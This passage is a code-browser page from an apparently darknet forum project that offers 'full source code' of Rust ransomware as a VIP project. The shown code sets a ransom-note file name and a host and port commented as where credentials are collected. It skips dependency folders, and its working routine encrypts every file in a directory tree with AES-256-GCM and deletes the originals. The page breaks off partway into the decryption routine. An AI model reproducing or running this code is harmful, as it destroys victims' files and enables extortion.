dkforest

A forum and chat platform (onion)
git clone https://git.dasho.dev/n0tr1v/dkforest.git
Log | Files | Refs | LICENSE

rust-ransomware.gohtml (40667B)


      1 {{ define "sub-content" }}
      2 
      3 <nav aria-label="breadcrumb">
      4   <ol class="breadcrumb">
      5     <li class="breadcrumb-item"><a href="/vip">VIP</a></li>
      6     <li class="breadcrumb-item"><a href="/vip/projects">Projects</a></li>
      7     <li class="breadcrumb-item active">{{ t "Rust Ransomware" . }}</li>
      8   </ol>
      9 </nav>
     10 
     11 <h3>Rust Ransomware</h3>
     12 <p>
     13 </p>
     14 
     15 <p>Full source code (rust):</p>
     16 
     17 <h4 class="mt-5 mb-3">ransomware/main.rs</h4>
     18 <!-- Code begin -->
     19 <div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">
     20 	<table style="border-spacing:0;padding:0;margin:0;border:0;width:auto;overflow:auto;display:block;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
     21 <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  1
     22 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  2
     23 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  3
     24 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  4
     25 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  5
     26 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  6
     27 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  7
     28 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  8
     29 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  9
     30 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 10
     31 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 11
     32 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 12
     33 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 13
     34 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 14
     35 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 15
     36 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 16
     37 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 17
     38 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 18
     39 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 19
     40 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 20
     41 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 21
     42 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 22
     43 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 23
     44 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 24
     45 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 25
     46 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 26
     47 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 27
     48 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 28
     49 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 29
     50 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 30
     51 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 31
     52 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 32
     53 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 33
     54 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 34
     55 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 35
     56 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 36
     57 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 37
     58 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 38
     59 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 39
     60 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 40
     61 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 41
     62 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 42
     63 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 43
     64 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 44
     65 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 45
     66 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 46
     67 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 47
     68 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 48
     69 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 49
     70 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 50
     71 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 51
     72 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 52
     73 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 53
     74 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 54
     75 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 55
     76 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 56
     77 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 57
     78 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 58
     79 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 59
     80 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 60
     81 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 61
     82 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 62
     83 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 63
     84 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 64
     85 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 65
     86 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 66
     87 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 67
     88 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 68
     89 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 69
     90 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 70
     91 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 71
     92 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 72
     93 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 73
     94 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 74
     95 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 75
     96 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 76
     97 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 77
     98 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 78
     99 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 79
    100 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 80
    101 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 81
    102 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 82
    103 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 83
    104 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 84
    105 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 85
    106 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 86
    107 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 87
    108 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 88
    109 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 89
    110 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 90
    111 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 91
    112 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 92
    113 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 93
    114 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 94
    115 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 95
    116 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 96
    117 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 97
    118 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 98
    119 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 99
    120 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">100
    121 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">101
    122 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">102
    123 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">103
    124 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">104
    125 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">105
    126 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">106
    127 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">107
    128 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">108
    129 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">109
    130 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">110
    131 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">111
    132 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">112
    133 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">113
    134 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">114
    135 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">115
    136 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">116
    137 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">117
    138 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">118
    139 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">119
    140 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">120
    141 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">121
    142 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">122
    143 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">123
    144 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">124
    145 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">125
    146 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">126
    147 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">127
    148 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">128
    149 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">129
    150 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">130
    151 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">131
    152 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">132
    153 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">133
    154 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">134
    155 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">135
    156 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">136
    157 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">137
    158 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">138
    159 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">139
    160 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">140
    161 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">141
    162 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">142
    163 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">143
    164 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">144
    165 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">145
    166 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">146
    167 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">147
    168 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">148
    169 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">149
    170 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">150
    171 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">151
    172 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">152
    173 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">153
    174 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">154
    175 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">155
    176 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">156
    177 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">157
    178 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">158
    179 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">159
    180 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">160
    181 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">161
    182 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">162
    183 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">163
    184 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">164
    185 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">165
    186 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">166
    187 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">167
    188 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">168
    189 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">169
    190 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">170
    191 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">171
    192 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">172
    193 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">173
    194 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">174
    195 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">175
    196 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">176
    197 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">177
    198 </span></pre></td>
    199 		<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
    200 <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><span style="color:#66d9ef">use</span> aes_gcm::aead::{Aead, NewAead};
    201 <span style="color:#66d9ef">use</span> aes_gcm::{Aes256Gcm, Key, Nonce};
    202 <span style="color:#66d9ef">use</span> base64;
    203 <span style="color:#66d9ef">use</span> dirs;
    204 <span style="color:#66d9ef">use</span> rand;
    205 <span style="color:#66d9ef">use</span> std::env;
    206 <span style="color:#66d9ef">use</span> std::fs;
    207 <span style="color:#66d9ef">use</span> std::io::Write;
    208 <span style="color:#66d9ef">use</span> std::net::TcpStream;
    209 <span style="color:#66d9ef">use</span> std::path::PathBuf;
    210 <span style="color:#66d9ef">use</span> std::{thread, time};
    211 <span style="color:#66d9ef">use</span> walkdir::{DirEntry, WalkDir};
    212 
    213 <span style="color:#66d9ef">static</span> RANSOMWARE_EXT: <span style="color:#66d9ef">&amp;</span><span style="color:#66d9ef">str</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;enc&#34;</span>;
    214 <span style="color:#66d9ef">static</span> RANSOM_NOTE_FILENAME: <span style="color:#66d9ef">&amp;</span><span style="color:#66d9ef">str</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;RANSOM_NOTE.txt&#34;</span>;
    215 <span style="color:#75715e">// Address where we collect credentials
    216 </span><span style="color:#75715e"></span><span style="color:#66d9ef">static</span> HOST: <span style="color:#66d9ef">&amp;</span><span style="color:#66d9ef">str</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;127.0.0.1&#34;</span>;
    217 <span style="color:#66d9ef">static</span> PORT: <span style="color:#66d9ef">usize</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">8080</span>;
    218 
    219 <span style="color:#75715e">// Avoid encrypting big dependencies folders (node_modules and friends)
    220 </span><span style="color:#75715e"></span><span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">is_ignored</span>(entry: <span style="color:#66d9ef">&amp;</span><span style="color:#a6e22e">DirEntry</span>) -&gt; <span style="color:#66d9ef">bool</span> {
    221     <span style="color:#66d9ef">let</span> file_name <span style="color:#f92672">=</span> entry.file_name();
    222     entry.path().is_dir()
    223         <span style="color:#f92672">&amp;</span><span style="color:#f92672">&amp;</span> (file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;node_modules&#34;</span>
    224             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;vendor&#34;</span>
    225             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;site-packages&#34;</span>
    226             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.cargo&#34;</span>
    227             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.rustup&#34;</span>
    228             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.heroku&#34;</span>
    229             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.node-gyp&#34;</span>
    230             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.npm&#34;</span>
    231             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.yjp&#34;</span> <span style="color:#75715e">// jetbrains ide
    232 </span><span style="color:#75715e"></span>            <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.ivy2&#34;</span> <span style="color:#75715e">// maven cache
    233 </span><span style="color:#75715e"></span>            <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.m2&#34;</span>
    234             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.vscode&#34;</span>
    235             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.git&#34;</span>
    236             <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.pub-cache&#34;</span> <span style="color:#75715e">// dart
    237 </span><span style="color:#75715e"></span>            <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.gradle&#34;</span>)
    238 }
    239 
    240 <span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">encrypt_files</span>(target_dir: <span style="color:#a6e22e">PathBuf</span>, key: <span style="color:#66d9ef">&amp;</span><span style="color:#66d9ef">str</span>) {
    241     <span style="color:#66d9ef">let</span> key <span style="color:#f92672">=</span> Key::from_slice(key.as_bytes());
    242     <span style="color:#66d9ef">let</span> cipher <span style="color:#f92672">=</span> Aes256Gcm::new(key);
    243     <span style="color:#66d9ef">let</span> walker <span style="color:#f92672">=</span> WalkDir::new(target_dir).into_iter();
    244     <span style="color:#66d9ef">for</span> entry <span style="color:#66d9ef">in</span> walker.filter_entry(<span style="color:#f92672">|</span>e<span style="color:#f92672">|</span> <span style="color:#f92672">!</span>is_ignored(e)) {
    245         <span style="color:#66d9ef">let</span> dir_entry <span style="color:#f92672">=</span> <span style="color:#66d9ef">match</span> entry {
    246             Err(_) <span style="color:#f92672">=</span><span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">continue</span>,
    247             Ok(dir_entry) <span style="color:#f92672">=</span><span style="color:#f92672">&gt;</span> dir_entry,
    248         };
    249         <span style="color:#75715e">// Skip symlinks
    250 </span><span style="color:#75715e"></span>        <span style="color:#66d9ef">if</span> dir_entry.path_is_symlink() {
    251             <span style="color:#66d9ef">continue</span>;
    252         }
    253         <span style="color:#75715e">// Skip folders
    254 </span><span style="color:#75715e"></span>        <span style="color:#66d9ef">if</span> dir_entry.path().is_dir() {
    255             <span style="color:#66d9ef">continue</span>;
    256         }
    257         <span style="color:#75715e">// skip already encrypted files
    258 </span><span style="color:#75715e"></span>        <span style="color:#66d9ef">if</span> dir_entry.path().extension().unwrap_or_default() <span style="color:#f92672">=</span><span style="color:#f92672">=</span> RANSOMWARE_EXT {
    259             <span style="color:#66d9ef">continue</span>;
    260         }
    261         <span style="color:#75715e">// skip ransom note
    262 </span><span style="color:#75715e"></span>        <span style="color:#66d9ef">if</span> dir_entry.file_name() <span style="color:#f92672">=</span><span style="color:#f92672">=</span> RANSOM_NOTE_FILENAME {
    263             <span style="color:#66d9ef">continue</span>;
    264         }
    265 
    266         <span style="color:#66d9ef">let</span> path <span style="color:#f92672">=</span> dir_entry.path();
    267         <span style="color:#66d9ef">let</span> random_bytes: Vec<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">=</span> (<span style="color:#ae81ff">0</span>..<span style="color:#ae81ff">12</span>).map(<span style="color:#f92672">|</span>_<span style="color:#f92672">|</span> rand::random::<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">&gt;</span>()).collect();
    268         <span style="color:#66d9ef">let</span> nonce_slice <span style="color:#f92672">=</span> random_bytes.as_slice();
    269         <span style="color:#66d9ef">let</span> nonce <span style="color:#f92672">=</span> Nonce::from_slice(nonce_slice);
    270         <span style="color:#66d9ef">let</span> content <span style="color:#f92672">=</span> fs::read(path).unwrap();
    271         <span style="color:#66d9ef">let</span> <span style="color:#66d9ef">mut</span> ciphertext <span style="color:#f92672">=</span> cipher.encrypt(nonce, content.as_ref()).unwrap();
    272         ciphertext.extend_from_slice(nonce_slice);
    273         <span style="color:#66d9ef">let</span> orig_ext <span style="color:#f92672">=</span> path
    274             .extension()
    275             .unwrap_or_default()
    276             .to_str()
    277             .unwrap_or_default();
    278         <span style="color:#66d9ef">let</span> <span style="color:#66d9ef">mut</span> new_ext <span style="color:#f92672">=</span> String::new();
    279         <span style="color:#66d9ef">if</span> orig_ext <span style="color:#f92672">!</span><span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span> {
    280             new_ext <span style="color:#f92672">=</span> format<span style="color:#f92672">!</span>(<span style="color:#e6db74">&#34;{}.&#34;</span>, orig_ext);
    281         }
    282         new_ext <span style="color:#f92672">+</span><span style="color:#f92672">=</span> RANSOMWARE_EXT;
    283         <span style="color:#66d9ef">let</span> new_filepath <span style="color:#f92672">=</span> path.with_extension(new_ext);
    284         fs::write(new_filepath, ciphertext).unwrap();
    285         fs::remove_file(path).unwrap();
    286     }
    287 }
    288 
    289 <span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">decrypt_files</span>(target_dir: <span style="color:#a6e22e">PathBuf</span>, decryption_key: <span style="color:#66d9ef">&amp;</span><span style="color:#66d9ef">str</span>) {
    290     <span style="color:#66d9ef">let</span> key_bytes <span style="color:#f92672">=</span> decryption_key.as_bytes();
    291     <span style="color:#66d9ef">if</span> key_bytes.len() <span style="color:#f92672">!</span><span style="color:#f92672">=</span> <span style="color:#ae81ff">32</span> {
    292         println<span style="color:#f92672">!</span>(<span style="color:#e6db74">&#34;invalid key length&#34;</span>);
    293         <span style="color:#66d9ef">return</span>;
    294     }
    295     <span style="color:#66d9ef">let</span> key <span style="color:#f92672">=</span> Key::from_slice(key_bytes);
    296     <span style="color:#66d9ef">let</span> cipher <span style="color:#f92672">=</span> Aes256Gcm::new(key);
    297     <span style="color:#66d9ef">for</span> entry <span style="color:#66d9ef">in</span> WalkDir::new(target_dir) {
    298         <span style="color:#66d9ef">let</span> dir_entry <span style="color:#f92672">=</span> <span style="color:#66d9ef">match</span> entry {
    299             Err(_) <span style="color:#f92672">=</span><span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">continue</span>,
    300             Ok(dir_entry) <span style="color:#f92672">=</span><span style="color:#f92672">&gt;</span> dir_entry,
    301         };
    302         <span style="color:#66d9ef">let</span> orig_path <span style="color:#f92672">=</span> dir_entry.path();
    303         <span style="color:#75715e">// only decrypt encrypted files
    304 </span><span style="color:#75715e"></span>        <span style="color:#66d9ef">if</span> orig_path.extension().unwrap_or_default() <span style="color:#f92672">!</span><span style="color:#f92672">=</span> RANSOMWARE_EXT {
    305             <span style="color:#66d9ef">continue</span>;
    306         }
    307         <span style="color:#66d9ef">let</span> encrypted_content <span style="color:#f92672">=</span> fs::read(orig_path).unwrap();
    308         <span style="color:#66d9ef">let</span> nonce_raw <span style="color:#f92672">=</span> encrypted_content.as_slice()[encrypted_content.len() <span style="color:#f92672">-</span> <span style="color:#ae81ff">12</span>..].as_ref();
